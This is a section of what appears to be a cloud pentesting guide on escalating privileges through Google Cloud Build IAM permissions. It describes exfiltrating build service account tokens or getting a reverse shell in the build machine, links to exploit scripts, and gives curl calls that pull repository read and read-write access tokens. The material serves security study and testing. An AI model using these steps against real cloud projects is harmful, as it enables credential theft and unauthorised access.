## cloudbuild

For more information about Cloud Build check:

[gcp-cloud-build-enum.md](../gcp-services/gcp-cloud-build-enum.md)
{% endcontent-ref %}

### `cloudbuild.builds.create`

With this permission you can **submit a cloud build**. The cloudbuild machine will have in it’s filesystem by **default a token of the cloudbuild Service Account**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. However, you can **indicate any service account inside the project** in the cloudbuild configuration.\
Therefore, you can just make the machine exfiltrate to your server the token or **get a reverse shell inside of it and get yourself the token** (the file containing the token might change).

You can find the original exploit script [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (but the location it's taking the token from didn't work for me). Therefore, check a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) and a python script to get a reverse shell inside the cloudbuild machine and [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (in the code you can find how to specify other service accounts)**.**

For a more in-depth explanation, visit [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)

### `cloudbuild.builds.update`

**Potentially** with this permission you will be able to **update a cloud build and just steal the service account token** like it was performed with the previous permission (but unfortunately at the time of this writing I couldn't find any way to call that API).

TODO

### `cloudbuild.repositories.accessReadToken`

With this permission the user can get the **read access token** used to access the repository:

{% code overflow="wrap" %}
```bash
curl -X POST \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "Content-Type: application/json" \
     -d '{}' \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
{% endcode %}

### `cloudbuild.repositories.accessReadWriteToken`

With this permission the user can get the **read and write access token** used to access the repository:

{% code overflow="wrap" %}
```bash
curl -X POST \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     -H "Content-Type: application/json" \
     -d '{}' \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
{% endcode %}

### `cloudbuild.connections.fetchLinkableRepositories`

With this permission you can **get the repos the connection has access to:**

{% code overflow="wrap" %}
```bash
curl -X GET \
     -H "Authorization: Bearer $(gcloud auth print-access-token)" \
     "https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
{% endcode %}
